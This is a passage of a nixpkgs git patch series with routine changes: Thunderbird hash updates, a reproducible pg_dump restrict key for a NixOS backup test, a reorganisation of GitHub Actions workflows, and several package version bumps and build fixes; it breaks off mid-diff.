     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sr/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sr/Thunderbird%20140.2.0esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "7598622285914fde08afbf7e3bfd7a73d45e45babe026f66da8df49303c84226";
+      sha256 = "53f73851ba19824b8ac0bc6d6b9d74bb8e376344598b597c6d3ac08ea5d07c6f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sv-SE/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sv-SE/Thunderbird%20140.2.0esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "c1da913ad66d451e39745af397e778470cec80fa1defad493cd2dd820e7bc94e";
+      sha256 = "55c8c3db6b9e7fdf6c1dd91ce671f31dda545f2e5a248cd59413106adfe7a417";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/th/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/th/Thunderbird%20140.2.0esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "a3a50dacb30e3fc60f8bf9e71ed1f2edc7442ff88e0ec55b8903fe083bc06991";
+      sha256 = "85fc399146933fc392f0728f9244d48176845395dab82690c76eb97f02b8a4d5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/tr/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/tr/Thunderbird%20140.2.0esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "882e37d632ab22d7dc27d46e29b37f772b4fe5d54d6b5029d73382fcb5473e46";
+      sha256 = "0f019f08f99fb80348934181df9356480a0aca9c6a764d065c8bb3686cbf3b99";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/uk/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/uk/Thunderbird%20140.2.0esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "70885ce0f0060db46c3ccb808ddf2c15020b489ff856b43825d8f065cb43a9e7";
+      sha256 = "eceefb85e3841a06de248cdadca14bbea90d26d752e78be5f0c98450759da7bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/uz/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/uz/Thunderbird%20140.2.0esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "4dd5fa09a91df2c274d53f638ae925fb543a10d6e8e265d624c861ac99ef6fc5";
+      sha256 = "ff114f243efb544ef47256294122d85e2776d298d323b250c51b135d1c3d75a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/vi/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/vi/Thunderbird%20140.2.0esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "8017586e7c3f025e4f9f17839f744fec8f5eedf2a8ead01628b2d8e96dd4e3bd";
+      sha256 = "93e1aab8ce3a37bb6f22674ae701417d80067a58355262948067ffdc3d82dcea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/zh-CN/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/zh-CN/Thunderbird%20140.2.0esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "e6d109cc54679a3dad37b183737762d74622629797896de20cc83752af3ae8a0";
+      sha256 = "38833e805acdd5f2a5ba614e9fec2a737a18d231f39040f25e9447d879a2c6c4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/zh-TW/Thunderbird%20140.1.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/zh-TW/Thunderbird%20140.2.0esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "4d4736b5d11221baea9d5b30a10506cadc2a99deb90181d0714d90b164474145";
+      sha256 = "7e82319ccaabb0aa248cad7a89ae73a48020d649be8f9e30b399eb8667986427";
     }
   ];
 }

From 44d6b48a5fe12d0585e931b10b450a38cb1b6fb8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 15 Aug 2025 12:24:15 +0200
Subject: [PATCH 3888/4511] postgresql.tests.postgresql.postgresql-backup-all:
 fix random dump

The new `\restrict` migitation creates random keys in the dump file by
default, which breaks a before/after test for the backup module. By
making the restrict key reproducible, the test passes again.

(cherry picked from commit 87e1134406989ce4ce68fe9d7289ef9564a2b58a)
---
 nixos/modules/services/backup/postgresql-backup.nix | 7 ++-----
 nixos/tests/postgresql/postgresql.nix               | 1 +
 2 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/nixos/modules/services/backup/postgresql-backup.nix b/nixos/modules/services/backup/postgresql-backup.nix
index 8a3a8173354e..c87387ca026c 100644
--- a/nixos/modules/services/backup/postgresql-backup.nix
+++ b/nixos/modules/services/backup/postgresql-backup.nix
@@ -124,10 +124,7 @@ in
         type = lib.types.separatedString " ";
         default = "-C";
         description = ''
-          Command line options for pg_dump. This options is not used
-          if `config.services.postgresqlBackup.backupAll` is enabled.
-          Note that config.services.postgresqlBackup.backupAll is also active,
-          when no databases where specified.
+          Command line options for pg_dump or pg_dumpall.
         '';
       };
 
@@ -177,7 +174,7 @@ in
       ];
     })
     (lib.mkIf (cfg.enable && cfg.backupAll) {
-      systemd.services.postgresqlBackup = postgresqlBackupService "all" "pg_dumpall";
+      systemd.services.postgresqlBackup = postgresqlBackupService "all" "pg_dumpall ${cfg.pgdumpOptions}";
     })
     (lib.mkIf (cfg.enable && !cfg.backupAll) {
       systemd.services = lib.listToAttrs (
diff --git a/nixos/tests/postgresql/postgresql.nix b/nixos/tests/postgresql/postgresql.nix
index ecf1b5552804..d779a0263e46 100644
--- a/nixos/tests/postgresql/postgresql.nix
+++ b/nixos/tests/postgresql/postgresql.nix
@@ -65,6 +65,7 @@ let
           services.postgresqlBackup = {
             enable = true;
             databases = lib.optional (!backupAll) "postgres";
+            pgdumpOptions = "--restrict-key=ABCDEFGHIJKLMNOPQRSTUVWXYZ";
           };
         };
 

From 450bb67e89d0151f617b998c9e91793de89f4a77 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 13:10:24 +0200
Subject: [PATCH 3889/4511] workflows/eval.misc: run tasks in parallel

Both `nix flake check` and `nix-env` are single-threaded, so no reason
to serialize their calls and waste time.

This brings down the runtime for this job from ~1:51 to ~1:27 in my
tests.

(cherry picked from commit 3d9cb9f3553b74d5fbbaa467dc96c6994daf95d0)
---
 .github/workflows/eval.yml | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 7efa71913ac7..c75398dde45e 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -354,9 +354,10 @@ jobs:
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
-      - name: Ensure flake outputs on all systems still evaluate
-        run: nix flake check --all-systems --no-build './nixpkgs/untrusted?shallow=1'
-
-      - name: Query nixpkgs with aliases enabled to check for basic syntax errors
+      - name: Run misc eval tasks in parallel
         run: |
-          time nix-env -I ./nixpkgs/untrusted -f ./nixpkgs/untrusted -qa '*' --option restrict-eval true --option allow-import-from-derivation false >/dev/null
+          # Ensure flake outputs on all systems still evaluate
+          nix flake check --all-systems --no-build './nixpkgs/untrusted?shallow=1' &
+          # Query nixpkgs with aliases enabled to check for basic syntax errors
+          nix-env -I ./nixpkgs/untrusted -f ./nixpkgs/untrusted -qa '*' --option restrict-eval true --option allow-import-from-derivation false >/dev/null &
+          wait

From fd91d8f556730e383c118e7ec3b6c3efce8e5537 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 19 Aug 2025 16:01:25 +0200
Subject: [PATCH 3890/4511] workflows/push: remove unused permissions and
 secrets

These were left-over from when the eval workflow still had the labeling
and reviewer components.

(cherry picked from commit 9d4fb0c40f9b8554723d6f67b60fc0ef562c6766)
---
 .github/workflows/eval.yml | 2 --
 .github/workflows/pr.yml   | 1 -
 .github/workflows/push.yml | 2 --
 3 files changed, 5 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index c75398dde45e..63fe63975a1d 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -18,8 +18,6 @@ on:
     secrets:
       CACHIX_AUTH_TOKEN:
         required: true
-      OWNER_APP_PRIVATE_KEY:
-        required: false
 
 permissions: {}
 
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 3fcb35bfacc7..82fdd1f3aa82 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -80,7 +80,6 @@ jobs:
       statuses: write
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
-      OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
     with:
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
       targetSha: ${{ needs.prepare.outputs.targetSha }}
diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index 4031c3a9cc6f..e980dbe42951 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -39,8 +39,6 @@ jobs:
     # Those are not actually used on push, but will throw an error if not set.
     permissions:
       # compare
-      issues: write
-      pull-requests: write
       statuses: write
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}

From 9bea5d3844ae5c2b8d2cc88ff1c0fc111ca0ad5d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 19 Aug 2025 15:35:01 +0200
Subject: [PATCH 3891/4511] workflows/test: init

This workflow runs the PR and Push workflow files on a `pull_request`
trigger. The intent is to test changes to the workflow files
immediately. Previously, these were run directly from the respective
workflow files.

The new approach allows us to move the logic to run this only when
workflow files changed from the pull_request trigger into a job. This
has the advantage that older jobs are cleaned up, when the PR changes
from a state of "workflow files changed" to "no workflow files changed".
This can happen when changing a PR's base from staging to master, in
which case changes from master would temporarily appear in the PR as
changes. When these include changes to workflow files, this would
trigger the PR workflow via `pull_request`. Once the base is changed,
the PR is closed and re-opened, so CI runs again - but since it's on the
same commit and the new run doesn't trigger `pull_request`, the results
of the previous run are still kept and displayed. These results may
include cancelled or failed jobs, which are impossible to recover from
without another force-push.

Checking this condition at run-time is only possible, because we move it
into a separate workflow, turning the `pr.yml` workflow into a re-usable
workflow. This will make sure to skip the whole workflow at once, when
no change was detected, which will prevent the "no PR failures" job from
appearing as skipped - which would imply "success" and make the PR
mergeable immediately. Instead the "no PR failures" job is not shown at
all for this trigger, which is generally what we want.

Do the same for `push.yml` for consistency.

(cherry picked from commit 443f30f811f20431079e0321fb14d6e7460f5dac)
---
 .github/workflows/pr.yml        | 21 +++++-----
 .github/workflows/push.yml      |  8 ++--
 .github/workflows/reviewers.yml |  2 +-
 .github/workflows/test.yml      | 72 +++++++++++++++++++++++++++++++++
 ci/github-script/commits.js     |  2 +-
 5 files changed, 89 insertions(+), 16 deletions(-)
 create mode 100644 .github/workflows/test.yml

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 82fdd1f3aa82..a7720df7226a 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -1,17 +1,18 @@
 name: PR
 
 on:
-  pull_request:
-    paths:
-      - .github/actions/checkout/action.yml
-      - .github/workflows/build.yml
-      - .github/workflows/check.yml
-      - .github/workflows/eval.yml
-      - .github/workflows/lint.yml
-      - .github/workflows/pr.yml
-      - .github/workflows/labels.yml
-      - .github/workflows/reviewers.yml # needs eval results from the same event type
   pull_request_target:
+  workflow_call:
+    secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
+      NIXPKGS_CI_APP_PRIVATE_KEY:
+        required: true
+      OWNER_APP_PRIVATE_KEY:
+        # The Test workflow should not actually request reviews from owners.
+        required: false
+      OWNER_RO_APP_PRIVATE_KEY:
+        required: true
 
 concurrency:
   group: pr-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index e980dbe42951..bb372f196b83 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -1,10 +1,6 @@
 name: Push
 
 on:
-  pull_request:
-    paths:
-      - .github/workflows/push.yml
-      # eval is tested via pr.yml
   push:
     # Keep this synced with ci/request-reviews/dev-branches.txt
     branches:
@@ -13,6 +9,10 @@ on:
       - release-*
       - staging-*
       - haskell-updates
+  workflow_call:
+    secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
 
 permissions: {}
 
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 5c2acb55a8de..9b3de2338553 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -95,7 +95,7 @@ jobs:
             const run_id = (await github.rest.actions.listWorkflowRuns({
               owner: context.repo.owner,
               repo: context.repo.repo,
-              workflow_id: 'pr.yml',
+              workflow_id: context.eventName === 'pull_request' ? 'test.yml' : 'pr.yml',
               event: context.eventName,
               head_sha: context.payload.pull_request.head.sha
             })).data.workflow_runs[0].id
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
new file mode 100644
index 000000000000..a90c13c3f738
--- /dev/null
+++ b/.github/workflows/test.yml
@@ -0,0 +1,72 @@
+name: Test
+
+on:
+  pull_request:
+
+concurrency:
+  group: test-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+permissions: {}
+
+jobs:
+  prepare:
+    runs-on: ubuntu-24.04-arm
+    outputs:
+      pr: ${{ steps.files.outputs.pr }}
+      push: ${{ steps.files.outputs.push }}
+    steps:
+      - name: Determine changed files
+        id: files
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const files = (await github.paginate(github.rest.pulls.listFiles, {
+              ...context.repo,
+              pull_number: context.payload.pull_request.number,
+              per_page: 100,
+            })).map(file => file.filename)
+
+            if (files.some(file => [
+              '.github/actions/checkout/action.yml',
+              '.github/workflows/build.yml',
+              '.github/workflows/check.yml',
+              '.github/workflows/eval.yml',
+              '.github/workflows/labels.yml',
+              '.github/workflows/lint.yml',
+              '.github/workflows/pr.yml',
+              '.github/workflows/reviewers.yml',
+              '.github/workflows/test.yml',
+            ].includes(file))) core.setOutput('pr', true)
+
+            if (files.some(file => [
+              '.github/workflows/eval.yml',
+              '.github/workflows/push.yml',
+              '.github/workflows/test.yml',
+            ].includes(file))) core.setOutput('push', true)
+
+  pr:
+    if: needs.prepare.outputs.pr
+    name: PR
+    needs: [prepare]
+    uses: ./.github/workflows/pr.yml
+    # Those are not actually used on pull_request, but will throw an error if not set.
+    permissions:
+      issues: write
+      pull-requests: write
+      statuses: write
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
+      NIXPKGS_CI_APP_PRIVATE_KEY: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
+      OWNER_RO_APP_PRIVATE_KEY: ${{ secrets.OWNER_RO_APP_PRIVATE_KEY }}
+
+  push:
+    if: needs.prepare.outputs.push
+    name: Push
+    needs: [prepare]
+    uses: ./.github/workflows/push.yml
+    # Those are not actually used on push, but will throw an error if not set.
+    permissions:
+      statuses: write
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 1391779e79ff..242abda88658 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -16,7 +16,7 @@ module.exports = async ({ github, context, core, dry }) => {
           run_id: context.runId,
           per_page: 100,
         })
-      ).find(({ name }) => name === 'Check / cherry-pick').html_url +
+      ).find(({ name }) => name.endsWith('Check / cherry-pick')).html_url +
         '?pr=' +
         pull_number
 

From 2955bd942cc5422089d281420a8b613e80ec7b8e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 14:44:48 +0200
Subject: [PATCH 3892/4511] workflows/test: run push job on correct commit

Previously, the test for the push workflow was running on the HEAD
commit of the PR only. It would be better to run it on the merged result
instead, just like any other tests we run in a PR.

(cherry picked from commit 06a0eba240350dd7def5133c9b67a97baa6a4e46)
---
 .github/workflows/push.yml |  6 +++++-
 .github/workflows/test.yml | 20 ++++++++++++++++++++
 2 files changed, 25 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index bb372f196b83..31d3932e2cd4 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -10,6 +10,10 @@ on:
       - staging-*
       - haskell-updates
   workflow_call:
+    inputs:
+      mergedSha:
+        required: true
+        type: string
     secrets:
       CACHIX_AUTH_TOKEN:
         required: true
@@ -43,5 +47,5 @@ jobs:
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
-      mergedSha: ${{ github.sha }}
+      mergedSha: ${{ inputs.mergedSha || github.sha }}
       systems: ${{ needs.prepare.outputs.systems }}
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index a90c13c3f738..c28ca61817c5 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -13,9 +13,27 @@ jobs:
   prepare:
     runs-on: ubuntu-24.04-arm
     outputs:
+      mergedSha: ${{ steps.prepare.outputs.mergedSha }}
       pr: ${{ steps.files.outputs.pr }}
       push: ${{ steps.files.outputs.push }}
     steps:
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+        with:
+          sparse-checkout-cone-mode: true # default, for clarity
+          sparse-checkout: |
+            ci/github-script
+      - id: prepare
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            require('./ci/github-script/prepare.js')({
+              github,
+              context,
+              core,
+              // Review comments will be posted by the main PR workflow on the pull_request_target event.
+              dry: false,
+            })
+
       - name: Determine changed files
         id: files
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
@@ -70,3 +88,5 @@ jobs:
       statuses: write
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
+    with:
+      mergedSha: ${{ needs.prepare.outputs.mergedSha }}

From 73644a2ce81fab506c95f6d225887acdff3a3a7d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 19 Aug 2025 15:38:44 +0200
Subject: [PATCH 3893/4511] workflows/test: test merge-group workflow

Changes to the merge-group workflow should also validate that the file
is hooked up correctly and works - otherwise we risk merging CI changes
that cause the merge queue to fail consistently.

(cherry picked from commit 534d41ee9c97d30abab3e953513b48cbeac58206)
---
 .github/workflows/merge-group.yml | 15 +++++++++++++--
 .github/workflows/test.yml        | 19 +++++++++++++++++++
 2 files changed, 32 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
index 9ed7125c76d2..dac02065debf 100644
--- a/.github/workflows/merge-group.yml
+++ b/.github/workflows/merge-group.yml
@@ -2,6 +2,17 @@ name: Merge Group
 
 on:
   merge_group:
+  workflow_call:
+    inputs:
+      mergedSha:
+        required: true
+        type: string
+      targetSha:
+        required: true
+        type: string
+    secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
 
 permissions: {}
 
@@ -12,8 +23,8 @@ jobs:
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
-      mergedSha: ${{ github.event.merge_group.head_sha }}
-      targetSha: ${{ github.event.merge_group.base_sha }}
+      mergedSha: ${{ inputs.mergedSha || github.event.merge_group.head_sha }}
+      targetSha: ${{ inputs.targetSha || github.event.merge_group.base_sha }}
 
   # This job's only purpose is to serve as a target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block the Merge Queue.
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index c28ca61817c5..f26c371a5563 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -13,9 +13,11 @@ jobs:
   prepare:
     runs-on: ubuntu-24.04-arm
     outputs:
+      merge-group: ${{ steps.files.outputs.merge-group }}
       mergedSha: ${{ steps.prepare.outputs.mergedSha }}
       pr: ${{ steps.files.outputs.pr }}
       push: ${{ steps.files.outputs.push }}
+      targetSha: ${{ steps.prepare.outputs.targetSha }}
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
@@ -45,6 +47,12 @@ jobs:
               per_page: 100,
             })).map(file => file.filename)
 
+            if (files.some(file => [
+              '.github/workflows/lint.yml',
+              '.github/workflows/merge-group.yml',
+              '.github/workflows/test.yml',
+            ].includes(file))) core.setOutput('merge-group', true)
+
             if (files.some(file => [
               '.github/actions/checkout/action.yml',
               '.github/workflows/build.yml',
@@ -63,6 +71,17 @@ jobs:
               '.github/workflows/test.yml',
             ].includes(file))) core.setOutput('push', true)
 
+  merge-group:
+    if: needs.prepare.outputs.merge-group
+    name: Merge Group
+    needs: [prepare]
+    uses: ./.github/workflows/merge-group.yml
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
+    with:
+      mergedSha: ${{ needs.prepare.outputs.mergedSha }}
+      targetSha: ${{ needs.prepare.outputs.targetSha }}
+
   pr:
     if: needs.prepare.outputs.pr
     name: PR

From a4572ccc56c0b5f0d2c0d0756622585b62386eec Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Sun, 24 Aug 2025 17:48:36 +0800
Subject: [PATCH 3894/4511] ibus-engines.libpinyin: Fix typelib finding

Same as 9f7bd20a997a.

Fixes `ValueError: Namespace Gtk not available for version 3.0` when
opening ibus-setup-libpinyin from gnome-control-center (when `cat
./result/libexec/ibus-setup-libpinyin` you will now find GI_TYPELIB_PATH
being passed to makeCWrapper).

The issue can be not reproducible on some impure environments,
I guess the best way to test is to directly run
GI_TYPELIB_PATH= ./result/libexec/ibus-setup-libpinyin

(cherry picked from commit 978637556630170d189b4c8e68c7eed5a2d21573)
---
 pkgs/tools/inputmethods/ibus-engines/ibus-libpinyin/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-libpinyin/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-libpinyin/default.nix
index 285503591065..8877faa13959 100644
--- a/pkgs/tools/inputmethods/ibus-engines/ibus-libpinyin/default.nix
+++ b/pkgs/tools/inputmethods/ibus-engines/ibus-libpinyin/default.nix
@@ -4,6 +4,7 @@
   fetchFromGitHub,
   autoreconfHook,
   gettext,
+  gobject-introspection,
   pkg-config,
   wrapGAppsHook3,
   sqlite,
@@ -34,6 +35,7 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     gettext
+    gobject-introspection.setupHook
     pkg-config
     wrapGAppsHook3
   ];

From 45330b1a4d7ffeecc804b8466d91932dd9f98997 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 24 Aug 2025 03:19:22 +0000
Subject: [PATCH 3895/4511] postfix-tlspol: 1.8.13 -> 1.8.14

(cherry picked from commit 3a80f0c38c1f730370507f25f42ffa62cb431716)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index a007cbebc7c7..1c87efbac06f 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.13";
+  version = "1.8.14";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-ff+tQb3GfWYt+u7idQf/mTN8uSkkbWLfxlq+1m1gfyc=";
+    hash = "sha256-lfezkGMmdYlstchUWGoofCfJLIHOStaDwR/A5j1EOGc=";
   };
 
   vendorHash = null;

From 83ace4daff8af61aec7791db866623940853de25 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 16 Jun 2025 09:03:50 +0000
Subject: [PATCH 3896/4511] psi-plus: 1.5.2072 -> 1.5.2081

(cherry picked from commit 83e11a96fb9d0795e6776105daad6633bcd412dd)
---
 .../networking/instant-messengers/psi-plus/default.nix        | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/psi-plus/default.nix b/pkgs/applications/networking/instant-messengers/psi-plus/default.nix
index ea142659ed68..252c42aabd7f 100644
--- a/pkgs/applications/networking/instant-messengers/psi-plus/default.nix
+++ b/pkgs/applications/networking/instant-messengers/psi-plus/default.nix
@@ -46,12 +46,12 @@ assert enablePsiMedia -> enablePlugins;
 mkDerivation rec {
   pname = "psi-plus";
 
-  version = "1.5.2072";
+  version = "1.5.2081";
   src = fetchFromGitHub {
     owner = "psi-plus";
     repo = "psi-plus-snapshots";
     rev = version;
-    sha256 = "sha256-RlZwMBWjhCTEEV08UHbf8NvuqmuihXwR1aA/vMmD1BM=";
+    sha256 = "sha256-C5EFC6HpUEFb5P3yGAwlhpj7MhS16P6fkKD5GjC3J9I=";
   };
 
   cmakeFlags = [

From 18de86f824bed301ff645142ff5d4c63126f3d50 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 23 Aug 2025 11:55:22 +0200
Subject: [PATCH 3897/4511] varnish77: 7.7.2 -> 7.7.3

Changes:
https://varnish-cache.org/releases/rel7.7.3.html
(cherry picked from commit 349c2206cae116051892c2e56fbd5ff49939f25d)
---
 pkgs/servers/varnish/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/varnish/default.nix b/pkgs/servers/varnish/default.nix
index 72a3bc7d1919..5dbe1178f348 100644
--- a/pkgs/servers/varnish/default.nix
+++ b/pkgs/servers/varnish/default.nix
@@ -95,7 +95,7 @@ in
   };
   # EOL 2026-03-15
   varnish77 = common {
-    version = "7.7.2";
-    hash = "sha256-/ad1DhKBog6czMbGZkgdJDf6fA2BZZLIbk+3un/EZK0=";
+    version = "7.7.3";
+    hash = "sha256-6W7q/Ez+KlWO0vtU8eIr46PZlfRvjADaVF1YOq74AjY=";
   };
 }

From 9d7901340ab14d3ea6db761a11728c88e3af6446 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Tue, 5 Aug 2025 15:30:27 -0700
Subject: [PATCH 3898/4511] tutanota-desktop: add electron ozone flags

(cherry picked from commit 181ba5f166189864b3a53a82a60b3c2d2d4dc899)
---
 pkgs/by-name/tu/tutanota-desktop/package.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
index ff1c49ea1031..2ffea6e5a7e7 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -2,6 +2,7 @@
   lib,
   appimageTools,
   fetchurl,
+  makeWrapper,
   gitUpdater,
 }:
 
@@ -16,6 +17,8 @@ appimageTools.wrapType2 rec {
 
   extraPkgs = pkgs: [ pkgs.libsecret ];
 
+  nativeBuildInputs = [ makeWrapper ];
+
   extraInstallCommands =
     let
       appimageContents = appimageTools.extract { inherit pname version src; };
@@ -26,6 +29,9 @@ appimageTools.wrapType2 rec {
 
       substituteInPlace $out/share/applications/tutanota-desktop.desktop \
         --replace 'Exec=AppRun' 'Exec=${pname}'
+
+      wrapProgram $out/bin/tutanota-desktop \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}"
     '';
 
   passthru.updateScript = gitUpdater {

From 7197c3479696bcfe845b3a35d616b9aa8f09be10 Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Tue, 5 Aug 2025 15:30:50 -0700
Subject: [PATCH 3899/4511] tutanota-desktop: add awwpotato as maintainer

(cherry picked from commit a7cc6431ebbe249b32d123b3a827c01c602c5743)
---
 pkgs/by-name/tu/tutanota-desktop/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
